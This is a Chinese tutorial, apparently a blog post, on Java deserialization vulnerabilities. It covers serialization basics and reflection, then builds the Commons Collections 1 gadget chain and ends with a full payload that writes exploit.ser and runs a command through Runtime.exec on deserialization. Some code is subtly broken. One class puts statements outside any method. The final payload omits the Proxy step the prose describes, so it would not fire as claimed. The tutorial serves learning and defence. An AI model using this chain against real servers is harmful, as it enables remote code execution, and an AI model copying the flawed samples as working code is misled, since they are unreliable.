java原生反序列化漏洞

什么是java序列化与反序列化

序列化(Serialization):将对象转换为字节流,以便存储或传输。

反序列化(Deserialization):将字节流恢复为对象的过程。

为什么需要序列化和反序列化

  1. 对象在网络上传输的需要

Java 程序中的对象不能直接在网络上传输,例如两个 Java 服务(或客户端与服务端)之间通信,需要将对象序列化为字节流,发送到目标,再通过反序列化重建对象。如:Java RMI(远程方法调用)、Dubbo、Hessian、Spring HTTPMessageConverter等场景。

  1. 对象持久化存储

在很多系统中,需要将运行时对象保存到硬盘、数据库或缓存中,以便后续恢复使用。这就需要将对象序列化后进行保存。

  1. 框架机制内部实现

很多 Java 框架为了实现某些功能,如 AOP 拦截、缓存、远程调用、消息队列传输等,底层都依赖于对象的序列化机制。

序列化在安全中存在的问题——反序列化漏洞

虽然序列化/反序列化存在诸多的应用场景,但一旦反序列化过程可被用户控制,且使用了不安全的类或未对输入进行验证,就可能触发反序列化漏洞。攻击者可以构造恶意对象数据流,一旦系统反序列化它,就可能执行任意代码,甚至获取服务器控制权。

For example:

我们可以在本地创建以下2个文件:

person1.java

import java.io.Serializable;

public class person1 implements Serializable {

    private String name;
    private int age;

    public person1(String name, int age) {
        this.name = name;
        this.age = age;
    }

    public String getName() {
        return name;
    }

    public void setName(String name) {
        this.name = name;
    }

    public int getAge() {
        return age;
    }

    public void setAge(int age) {
        this.age = age;
    }

    @Override
    public String toString() {
        return "Person{name='" + name + "', age=" + age + "}";
    }
}

serialization.java

import java.io.*;

public class serialization {
    public static void main(String[] args) {
        person1 person = new person1("xuwdui", 25);

        // 序列化
        try (ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("person1.bin"))) {
            oos.writeObject(person);
            System.out.println("序列化成功:" + person);
        } catch (IOException e) {
            e.printStackTrace();
        }

        // 反序列化
        try (ObjectInputStream ois = new ObjectInputStream(new FileInputStream("person1.bin"))) {
            person1 deserializedPerson = (person1) ois.readObject();
            System.out.println("反序列化成功:" + deserializedPerson);
        } catch (IOException | ClassNotFoundException e) {
            e.printStackTrace();
        }
    }
}

![image-20250519125309314](D:tyOWASP反序列化image-20250519125309314.png)

在serialization中,首先生成了一个person对象,然后将生成的person对象进行序列化操作,得到二进制文件person1.bin;接着再读取该文件进行反序列化操作,最终得到person对象的内容,并打印出来。

注意:

(1)想要序列化的对象需要实现Serializable接口才可以序列化。

![image-20250519130020592](D:tyOWASP反序列化image-20250519130020592.png)

(2)使用transient标识的对象不参与序列化。
在Person类中,name属性之前加上transient,改为private transient String name;之后再次尝试序列化和反序列化,输出结果:Person{name='null',age=25}

![image-20250519130048974](D:tyOWASP反序列化image-20250519130048974.png)

(3)静态成员变量不能被序列化,因为序列化是针对对象的,而静态成员变量属于类。

readObject & writeObject

writeObject是序列化的时候会自动调用的魔术方法,readObject是反序列化自动会调用的魔术方法,在要序列化的对象中可以重写该方法实现自定义反序列化内容,例如在上面的Person类中添加如下代码:

private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
    System.out.println("反序列化时自动调用我readObject");
    ois.defaultReadObject();
}

private void writeObject(ObjectOutputStream oos) throws IOException {
    System.out.println("序列化时自动调用我writeObject");
    oos.defaultWriteObject();
}

重新执行serialization.java可得:

![image-20250519130541252](D:tyOWASP反序列化image-20250519130541252.png)

如果反序列化时类的属性也实现了自己的readObject,则会调用属性的readObject去反序列化属性内容,前提是该属性没有被transient修饰。

现在我们修改一下person1,执行内部的readobject和writeobject

import java.io.*;

public class person1 implements Serializable {

    private  String name;
    private int age;

    public person1(String name, int age) {
        this.name = name;
        this.age = age;
    }

    public String getName() {
        return name;
    }

    public void setName(String name) {
        this.name = name;
    }

    public int getAge() {
        return age;
    }

    public void setAge(int age) {
        this.age = age;
    }

    private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
        System.out.println("我是person类内部的readObject");
        ois.defaultReadObject();
    }

    private void writeObject(ObjectOutputStream oos) throws IOException {
        System.out.println("我是person类内部的writeObject");
        oos.defaultWriteObject();
    }


    @Override
    public String toString() {
        return "Person{name='" + name + "', age=" + age + "}";
    }
    public static void main(String[] args) throws IOException, ClassNotFoundException {
        person1 person = new person1("xuwdui", 25);
        File file = new File("person2.bin");
        FileOutputStream fileOutputStream = new FileOutputStream(file);
        ObjectOutputStream oos = new ObjectOutputStream(fileOutputStream);
        System.out.println("序列化开始。。。");
        oos.writeObject(person);
//        File file = new File("person.bin");
        ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(file));
        System.out.println("反序列化开始.....");
        objectInputStream.readObject();

    }
}

![image-20250519131803402](D:tyOWASP反序列化image-20250519131803402.png)

反序列化漏洞

简单地讲,反序列化漏洞就是在反序列化的时候,用户恶意构造反序列化内容,导致恶意行为的执行。举个例子,还是在person1类中重写readObject与writeObject,同时将person内部的name属性改为windows系统指令“calc”:

private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
    System.out.println("我是person类内部恶意修改的readObject");
    String cmd = ois.readUTF();
    if (!cmd.isEmpty()){
        Runtime.getRuntime().exec(cmd);//执行任意指令
    }
    ois.defaultReadObject();
}

private void writeObject(ObjectOutputStream oos) throws IOException {
    System.out.println("我是person类内部恶意修改的writeObject");
    oos.writeUTF(this.name);
    oos.defaultWriteObject();
}

![image-20250519132902506](D:tyOWASP反序列化image-20250519132902506.png)

执行完发现,我们可以通过此类简单的方式完成RCE,当然现实中远比这个demo复杂,但底层原理类似,下面我们来分析一个经典的实例CC1链条。

CommonsCollections1漏洞

在分析这些反序列化漏洞之前,推荐大家使用 ysoserial-master 项目,该项目包含目前常见的各类反序列化漏洞的利用链以及payload。

Apache Commons Collections 是一个扩展了 Java 标准库里的 Collection 结构的第三方基础库,它提供了很多强有力的数据结构类型并实现了各种集合工具类。作为 Apache 开源项目的重要组件,被广泛运用于各种 Java 应用的开发,但同时他也被爆出存在严重的反序列化漏洞。

反射是什么

在学习这个漏洞利用链之前,需要先了解java反射的基本原理。

反射(Reflection)是 Java 提供的一种运行时动态分析和操作类、方法、属性的机制。我们稍微修改一下前面的person类使其方法内容更加丰富,结构更加全面。

public class Person implements Serializable {
    private static final long serialVersionUID = 1L; // 推荐加上这个字段,定义类的版本号

    private String name;
    private int age;
    private String pet;
    public int number;

    public Person() {}

    // 构造方法
    public Person(String name, int age, String pet) {
        this.name = name;
        this.age = age;
        this.pet = pet;
    }
    private Person(String name,int age) {
        this.name = name;
        this.age = age;
    }

    // Getter 和 Setter 方法
    public String getName() {
        return name;
    }

    public void setName(String name) {
        this.name = name;
    }

    public int getAge() {
        return age;
    }

    public void setAge(int age) {
        this.age = age;
    }

    private String eat(String something){
        System.out.println("再吃"+ something);
        return "1111";
    }

    @Override
    public String toString() {
        return "Person{name='" + name + "', age=" + age + "', pet=" + pet + "}";
    }

    private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
        System.out.println("Person 反序列化...");
        String cmd = ois.readUTF();
        if (!cmd.isEmpty()){
            Runtime.getRuntime().exec(cmd);
        }
        ois.defaultReadObject();
    }

    private void writeObject(ObjectOutputStream oos) throws IOException {
        System.out.println("Person 序列化...");
        oos.writeUTF(this.name);
        oos.defaultWriteObject();
    }
}

新建一个反射的测试类fanshe.java,获取到上面的Person类后执行,结果如注释所见。

public class fanshe
{
    public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException, NoSuchFieldException {
        //获取class字节码文件对象
        Class clazz = Class.forName("Person");
        //获取构造方法、公有public
        Constructor[] constructors = clazz.getConstructors();
        for (Constructor constructor : constructors) {
            System.out.println(constructor);                       //public Person(java.lang.String,int,java.lang.String)
                                                                  //public Person()
        }
        System.out.println("-------------");
        //获取所有构造方法,包括私有
        Constructor[] constructors2 = clazz.getDeclaredConstructors();//private Person(java.lang.String,int)
        for (Constructor constructor2 : constructors2) {            //public Person(java.lang.String,int,java.lang.String)
            System.out.println(constructor2);                        //public Person()
        }
        System.out.println("-------------");
        //获取单个指定方法(参数类型)
        Constructor constructors3 = clazz.getDeclaredConstructor(String.class,int.class);//private Person(java.lang.String,int)
        System.out.println(constructors3);
        System.out.println("-------------");
        //创建对象,临时取消权限校验
        constructors3.setAccessible(true);
        Person person= (Person) constructors3.newInstance("dsd",23);
        System.out.println(person);                                //Person{name='dsd', age=23', pet=null}
            System.out.println("-------------");
        //获取公共成员变量
        Field[] fields = clazz.getFields();
        for (Field field : fields) {
            System.out.println(field);                             //public int Person.number
        }
        System.out.println("-------------");
        //获取所有的成员变量
        Field[] fields2 = clazz.getDeclaredFields();                //private static final long Person.serialVersionUID
        for (Field field2 : fields2) {                            //private java.lang.String Person.name
            System.out.println(field2);                            //private int Person.age
        }                                                    //private java.lang.String Person.pet
        System.out.println("-------------");                    //public int Person.number
        //获取单个任意成员变量(方法名)
        Field age = clazz.getDeclaredField("age");
        System.out.println(age);                                //private int Person.age
        System.out.println("-------------");
        //获取权限修饰符,public,private
        int modifiers = age.getModifiers();
        System.out.println(modifiers);                                //2私有为2
        Field number = clazz.getDeclaredField("number");
        int modifiers1 = number.getModifiers();
        System.out.println(modifiers1);                               //1公有为1
        System.out.println("-------------");
        //获取成员变量名字
        String n = age.getName();
        System.out.println(n);                                         //age
        System.out.println("-------------");
        //获取成员变量的数据类型
        Class<?> type = age.getType();
        System.out.println(type);                                    //int
        System.out.println("-------------");
        //获取成员变量记录的值
        Person p = new Person("xhna",23,"w");
        age.setAccessible(true);
        Object value = age.get(p);
        System.out.println(value);                                      //23
        System.out.println("-------------");
        //修改对象里面记录的值
        age.set(p,24);
        System.out.println(p);                                        //Person{name='xhna', age=24', pet=w}
        System.out.println("-------------");
        //获取里面所有的方法对象(public),包含父类中所有的公共方法
        Method[] methods = clazz.getMethods();                         //所有public修饰的方法
        for (Method method : methods) {                                //public java.lang.String Person.toString()
            System.out.println(method);                                //public java.lang.String Person.getName()
        }                                                        //public void Person.setName(java.lang.String)。。。一一列举
        System.out.println("-------------");
        //获取里面所有的方法对象,不能获取父类的,但是可以获取本类中私有的方法
        Method[] declaredMethods = clazz.getDeclaredMethods();        //所有内部方法包括私有
        for (Method declaredMethod : declaredMethods) {              //private void Person.readObject(java.io.ObjectInputStream) throws java.io.IOException,java.lang.ClassNotFoundException;private void Person.writeObject(java.io.ObjectOutputStream) throws java.io.IOException
            System.out.println(declaredMethod);                  //private java.lang.String Person.eat(java.lang.String)不一一列举
        }
        System.out.println("-------------");
        //获取指定的单个方法
        Method rd = clazz.getDeclaredMethod("readObject", ObjectInputStream.class);
        System.out.println(rd);       //private void Person.readObject(java.io.ObjectInputStream) throws java.io.IOException,java.lang.ClassNotFoundException
        Method toString = clazz.getDeclaredMethod("toString");
        System.out.println(toString);   //public java.lang.String Person.toString()
        System.out.println("-------------");
        //获取到方法的修饰符
        int modifiers2 = rd.getModifiers();      
        System.out.println(modifiers2);         //2
        System.out.println("-------------");
        //获取方法的名字
        String rdname = rd.getName();
        System.out.println(rdname);                //readObject
        System.out.println("-------------");
        //获取方法的形参
        Parameter[] parameters = rd.getParameters();
        for (Parameter parameter : parameters) {
            System.out.println(parameter);        //java.io.ObjectInputStream arg0
        }
        System.out.println("-------------");
        //获取到方法的返回值
        //获取方法抛出的异常
        Class<?>[] exceptionTypes = rd.getExceptionTypes();
        for (Class<?> exceptionType : exceptionTypes) {
            System.out.println(exceptionType);      //class java.io.IOException
        }                                        //class java.lang.ClassNotFoundException
        System.out.println("-------------");
        //方法运行invoke
        Person p2 =new Person();
        Method eat = clazz.getDeclaredMethod("eat", String.class);
        eat.setAccessible(true);
        //参数1p2表示方法的调用者;参数2表示调用方法的时候传递的实际参数,如果是有返回值的方法要用去接取返回值
        Object sahda = eat.invoke(p2, "sahda");
        System.out.println(sahda);                //再吃sahda
                                            //1111
    }
}

由此可见,反射的功能十分全面,可以动态地获取到类、方法、属性等信息。

public class demo1 {
    Class<?> clazz = Class.forName("java.lang.Runtime");
    Method method = clazz.getMethod("getRuntime");
    Object runtime = method.invoke(null);
    Method exec = clazz.getMethod("exec", String.class);
    exec.invoke(runtime, "calc");
}

学习完反射知识后就可以理解上述代码,通过反射动态调用 Runtime.getRuntime().exec("calc") 实现命令执行,这是 CC1 链尾部命令执行的核心机制

Transformer接口

Transformer 是 Commons Collections 提供的一个函数式接口,用于将输入对象转换为输出对象。

package org.apache.commons.collections;

public interface Transformer {
    Object transform(Object var1);
}

InvokerTransformer

CommonsCollections对应的危险方法为InvokerTransformer.transform()InvokerTransformerTransformer的一个实现类,在该方法中可以用反射调用任意方法。

![image-20250519153622011](D:tyOWASP反序列化image-20250519153622011.png)

eg通过反射调用方式,可以执行危险系统指令.

Runtime runtime = Runtime.getRuntime();
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(runtime);

ConstantTransformer

ConstantTransformer 是一个返回固定常量的 Transformer,在初始化时储存了一个 Object,后续的调用时会直接返回这个 Object。

这个类用于和 ChainedTransformer 配合,将其结果传入 InvokerTransformer 来调用我们指定的类的指定方法,常用于链首初始化值。

ChainedTransformer

![image-20250519154148632](D:tyOWASP反序列化image-20250519154148632.png)

ChainedTransformer类也是一个 Transformer的实现类,但是这个类自己维护了一个 Transformer 数组, 在调用 ChainedTransformer 的 transform 方法时,会循环数组,依次调用 Transformer 数组中每个 Transformer 的 transform 方法,并将结果传递给下一个 Transformer。

使用 ConstantTransformer 返回 Runtime 的 Class 对象,传入 InvokerTransformer 中,并借助 ChainedTransformer 的链式调用方式完成反射的调用.InvokerTransformer调用class对象的getMethod的方法获取到getRuntime,调用之后获取到getRuntime Method,然后作为参数出入下一个InvokerTransformer,在这个transform中调用invoke获取到runtime实例,下一个transform调用exec`方法即可。具体实现如下所示。

![image-20250519155224485](D:tyOWASP反序列化image-20250519155224485.png)

至此,CC1的后半核心触发部分分析完毕,我们继续向前分析。

TransformedMap

TransformedMap 是对普通 Map 的一种装饰器,会在 put ()数据时自动对 key 或 value 进行“转换”

TransformedMap 只在你 put() 的时候调用 transformer,不会在 get() 的时候调用。

当 TransformedMap 内的 key 或者 value 发生变化时(例如调用 TransformedMap 的 put 方法时),就会触发相应参数的 Transformer 的 transform() 方法。

LazyMap

LazyMap 是一个 Map 的装饰器,它的行为是:当访问一个 key 时,如果 key 不存在,就自动调用 Transformer 生成值并返回

org.apache.commons.collections.map.LazyMap 与 TransformedMap 类似,

不过差异是调用 get() 方法时如果传入的 key 不存在,则会触发相应参数的 Transformer 的 transform() 方法。

decorate方法

decorate() 方法是 Commons Collections 中用于构造“增强版 Map”的静态工厂方法,可以将普通的HashMap或Map增添额外功能;

public static Map decorate(Map map, Transformer factory)

//map:原始的 HashMap 或其他 Map 实例
//factory:一个 Transformer,当调用 .get(key) 且 key 不存在时触发 transformer.transform(key)
//TransformedMap
Transformer keyTransformer = input -> {
    System.out.println("Transforming key: " + input);
    return input;
};
Map map = TransformedMap.decorate(new HashMap(), keyTransformer, null);
map.put("test", "123");//调用map.put()方法时,执行 transformer.transform()

//LazyMap
Map innerMap = new HashMap();
Transformer transformer = input -> {
    System.out.println("Transform called with: " + input);
    return "Generated-" + input;
};
Map lazyMap = LazyMap.decorate(innerMap, transformer);
lazyMap.get("x");  // 如果"key x"不存在,则执行 transformer.transform("x")

它通过包装原始 Map,并引入 Transformer 逻辑,实现对 put()get() 的功能增强,总的来说:

  • LazyMap.decorate() 会在key不存在时,通过 map.get() 时触发 transformer.transform()
  • TransformedMap.decorate() 会在调用 map.put() 时触发 transformer.transform()

基于以上知识,我们又可以基于LazyMap+ChainedTransformer的触发构造:

public class LazyMapTrigger {
    public static void main(String[] args) {
    // 构造 Transformer 链
    Transformer[] transformers = new Transformer[]{
            new ConstantTransformer(Runtime.class),
            new InvokerTransformer("getMethod",
                    new Class[]{String.class, Class[].class},
                    new Object[]{"getRuntime", new Class[0]}),
            new InvokerTransformer("invoke",
                    new Class[]{Object.class, Object[].class},
                    new Object[]{null, new Object[0]}),
            new InvokerTransformer("exec",
                    new Class[]{String.class},
                    new Object[]{"calc"}) // Windows: calc, macOS: open -a Calculator.app
    };

    Transformer chain = new ChainedTransformer(transformers);

    // 创建 LazyMap,包装 HashMap
    Map innerMap = new HashMap();
    Map lazyMap = LazyMap.decorate(innerMap, chain);

    // 触发 Transformer 链
    System.out.println("尝试从 lazyMap 中读取不存在的 key...");
    lazyMap.get("anykey");  // 触发 transform -> 执行 Runtime.getRuntime().exec("calc")
}
}

使用 ConstantTransformer 返回 Runtime 的 Class 对象,传入多个 InvokerTransformer 中,借助 ChainedTransformer 的链式调用方式完成一系列反射调用,最终执行恶意命令。在上述案例中,使用 LazyMapdecorate 方法将 ChainedTransformer 设置为 Map 的 valueFactory,当调用 LazyMap.get() 方法且 key 不存在时,会触发 transformer.transform(key),从而启动整条 Transformer 链,完成命令执行。

到此为止,我们已经理解了如何构造命令执行的 Transformer 链(chain gadget) 和执行命令的入口方法(sink gadget)。接下来我们需要理解,整个链条中常用的 kick-off gadget(触发点)sun.reflect.annotation.AnnotationInvocationHandler。

AnnotationInvocationHandler

AnnotationInvocationHandler 是一个动态代理注解的处理器类,服务于 Java 注解(Annotation)动态代理机制。Java 在运行时通过这个类对注解进行代理,使注解也能像普通接口一样,通过 Proxy.newProxyInstance() 生成动态代理对象。

为什么它可以用于反序列化触发?

因为它重写了readObject方法!这意味着在被反序列化的时候,它可以自定义行为,并对其内部成员进行操作。

![image-20240620195714275](D:tyOWASP反序列化image-20240620195714275.png)

它会自动反序列化一个内部成员:memberValues: Map<String, Object>

如果我们在构造时,将这个 memberValues 传入一个恶意的 Map(比如 LazyMap 装饰过的),那么当反序列化发生、调用 validateAnnotation() 或后续方法时,就可能触发 Map.get() —— 从而触发我们设置的 Transformer 链。

需要注意,第一个参数必须是注解类型,例如RetentionTarget,而且这些注解里必须定义了方法,因为有一个判断var7 != nullvar6是传入字典的key,var3就是Retention中定义的方法,因为这里方法的名字是value,所以必须要让var6value

所以只要创建包含恶意ChainedTransformer的LazyMap的Proxy对象,赋值给AnnotationInvocationHandler.memberValues然后反序列化,在AnnotationInvocationHandler.readObject中只要执行this.memberValues的任意方法都会先执行invoke,然而在AnnotationInvocationHandler中的invoke方法中会调用到get方法,LazyMap.get(),从而触发漏洞。

构建完整攻击链payload

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.util.HashMap;
import java.util.Map;

public class LazyMapTrigger {
    public static void main(String[] args) throws Exception {
        // === 1. 构造 Transformer 链 ===
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",
                        new Class[]{String.class, Class[].class},
                        new Object[]{"getRuntime", new Class[0]}),
                new InvokerTransformer("invoke",
                        new Class[]{Object.class, Object[].class},
                        new Object[]{null, new Object[0]}),
                new InvokerTransformer("exec",
                        new Class[]{String.class},
                        new Object[]{"calc"}) // 恶意触发类
        };
        Transformer chain = new ChainedTransformer(transformers);
        // === 2. 创建 LazyMap,包装 HashMap ===
        Map innerMap = new HashMap();
        Map lazyMap = LazyMap.decorate(innerMap, chain);

        // === 3. 构造 AnnotationInvocationHandler 实例 ===
        Class<?> handlerClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor<?> constructor = handlerClass.getDeclaredConstructor(Class.class, Map.class);
        constructor.setAccessible(true);

        // 使用 Retention.class 作为合法参数(随便一个注解类型)
        InvocationHandler handler = (InvocationHandler) constructor.newInstance(Retention.class, lazyMap);

        // === 4. 序列化到文件 ===
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("exploit.ser"));
        oos.writeObject(handler);
        oos.close();
        System.out.println("序列化完成。对象已写入 exploit.ser");

        // === 5. 反序列化触发 ===
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream("exploit.ser"));
        ois.readObject();  // 反序列化时触发链条
        ois.close();
    }
}

cc1链条

 AnnotationInvocationHandler.readObject()
  Proxy.entrySet() // readObject调用了proxy的某些方法,回调invoke
   Proxy.invoke() === AnnotationInvocationHandler.invoke()
    LazyMap.get()
     ChainedTransformer.transform()
      ConstantTransformer.transform() // 获取Runtime.class
      InvokerTransformer.transform()   // 获取Runtime.getRuntime
      InvokerTransformer.transform()   // 获取Runtime实例
      InvokerTransformer.transform()   // 调用exec方法触发rce

![Lazymap](D:tyOWASP反序列化CC1LazyMap.jpg)

CommonsCollections2

后续会继续分析,To be continue...